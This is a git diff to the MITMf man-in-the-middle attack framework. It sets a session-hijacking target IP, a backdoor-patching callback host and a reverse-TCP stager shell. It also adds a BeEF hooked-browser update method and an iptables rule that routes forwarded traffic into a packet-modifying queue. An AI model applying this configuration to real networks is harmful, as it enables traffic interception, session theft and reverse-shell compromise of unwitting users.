diff --git a/config/mitmf.conf b/config/mitmf.conf index e9244cf..77af21c 100644 --- a/config/mitmf.conf +++ b/config/mitmf.conf @@ -79,7 +79,7 @@ [Replace] [[Regex1]] - 'Google Search' = 'Google yssas' + 'Google Search' = '44CON' [[Regex2]] "I'm Feeling Lucky" = "I'm Feeling Something In My Pants" @@ -89,7 +89,7 @@ # Here you can specify the client to hijack sessions from # - Client = '192.168.1.26' + Client = '10.0.237.91' [SSLstrip+] @@ -445,10 +445,10 @@ PATCH_TYPE = APPEND #JUMP/SINGLE/APPEND # PATCH_METHOD overwrites PATCH_TYPE, use automatic, replace, or onionduke PATCH_METHOD = automatic - HOST = 192.168.1.16 + HOST = 192.168.20.79 PORT = 8090 # SHELL for use with automatic PATCH_METHOD - SHELL = iat_reverse_tcp_inline_threaded + SHELL = iat_reverse_tcp_stager_threaded # SUPPLIED_SHELLCODE for use with a user_supplied_shellcode payload SUPPLIED_SHELLCODE = None ZERO_CERT = True diff --git a/core/banners.py b/core/banners.py index 51438c8..ac88616 100644 --- a/core/banners.py +++ b/core/banners.py @@ -65,6 +65,19 @@ banner4 = """ ╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝ ╚═╝╚═╝ """ +banner5 = """ +@@@@@@@@@@ @@@ @@@@@@@ @@@@@@@@@@ @@@@@@@@ +@@@@@@@@@@@ @@@ @@@@@@@ @@@@@@@@@@@ @@@@@@@@ +@@! @@! @@! @@! @@! @@! @@! @@! @@! +!@! !@! !@! !@! !@! !@! !@! !@! !@! +@!! !!@ @!@ !!@ @!! @!! !!@ @!@ @!!!:! +!@! ! !@! !!! !!! !@! ! !@! !!!!!: +!!: !!: !!: !!: !!: !!: !!: +:!: :!: :!: :!: :!: :!: :!: +::: :: :: :: ::: :: :: + : : : : : : : +""" + def get_banner(): - banners = [banner1, banner2, banner3, banner4] + banners = [banner1, banner2, banner3, banner4, banner5] return random.choice(banners) diff --git a/core/beefapi.py b/core/beefapi.py index 7a66797..e427619 100644 --- a/core/beefapi.py +++ b/core/beefapi.py @@ -342,6 +342,12 @@ class Session(object): logs.append(Log(log)) return logs + def update(self, options={}): + headers = {"Content-Type": "application/json", "charset": "UTF-8"} + payload = json.dumps(options) + r = requests.post("{}/hooks/update/{}?token={}".format(self.url, self.session, self.token), headers=headers, data=payload) + return r.json() + def run(self, module_id, options={}): headers = {"Content-Type": "application/json", "charset": "UTF-8"} payload = json.dumps(options) diff --git a/core/packetfilter.py b/core/packetfilter.py index ba0a962..34519d2 100644 --- a/core/packetfilter.py +++ b/core/packetfilter.py @@ -17,7 +17,7 @@ class PacketFilter: iptables().NFQUEUE() self.nfqueue = NetfilterQueue() - self.nfqueue.bind(1, self.modify) + self.nfqueue.bind(0, self.modify) self.nfqueue.run() diff --git a/core/utils.py b/core/utils.py index c3ae067..7781bad 100644 --- a/core/utils.py +++ b/core/utils.py @@ -98,5 +98,5 @@ class iptables: def NFQUEUE(self): log.debug("Setting iptables NFQUEUE rule") - os.system('iptables -t nat -A PREROUTING -j NFQUEUE --queue-num 1') + os.system('iptables -I FORWARD -j NFQUEUE --queue-num 0') self.nfqueue = True \ No newline at end of file